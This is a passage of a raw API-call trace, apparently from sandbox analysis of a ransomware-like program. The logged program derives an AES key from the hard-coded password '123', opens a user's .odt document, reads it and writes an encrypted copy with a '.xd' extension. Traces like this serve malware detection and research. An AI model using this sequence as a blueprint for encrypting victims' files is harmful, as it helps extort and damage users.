wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.039] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.039] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.039] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.039] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.040] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.040] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.041] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa010) returned 1 [0074.042] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 1 [0074.042] TranslateMessage (lpMsg=0x130ef0c) returned 0 [0074.042] DispatchMessageW (lpMsg=0x130ef0c) returned 0x0 [0074.042] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e570) returned 1 [0074.048] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0074.048] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0074.048] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.048] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.049] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.049] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.049] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.049] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.049] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.049] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.049] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.049] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.049] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.049] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.050] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.050] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.050] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.050] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.050] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.050] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.050] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.050] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.051] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.051] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.051] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.051] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.051] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.051] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.051] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.051] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.051] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.051] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.052] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.052] CryptCreateHash (in: hProv=0x17aa010, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.052] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.053] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.053] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.054] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.054] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.054] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.054] CryptHashData (hHash=0x164c4f0, pbData=0x1629460, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.054] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.055] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.055] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.055] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.055] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.055] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.055] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.055] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.056] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.056] CryptDeriveKey (in: hProv=0x17aa010, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8f0) returned 1 [0074.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.056] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.056] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.057] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.057] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.058] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.058] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0074.058] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.058] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.058] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.059] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.059] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.059] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\wkb4g3ijxpprx3mpue1e.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.059] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.059] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.060] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.060] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.060] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.060] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0074.060] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\WKB4g3ijxppRx3mPue1E.odt.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\wkb4g3ijxpprx3mpue1e.odt.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0074.061] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.061] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.066] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.067] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0074.068] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x4636, lpOverlapped=0x0) returned 1 [0074.069] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.076] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.076] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.076] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.076] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.077] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.077] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.077] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.077] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.077] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.077] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.077] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.077] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.077] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.077] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.078] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.078] CryptGetKeyParam (in: hKey=0x164c8f0, dwParam=0x7, pbData=0x1629450, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629450*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.078] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.078] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.078] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.078] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.078] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.078] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.079] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.079] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.079] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.079] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 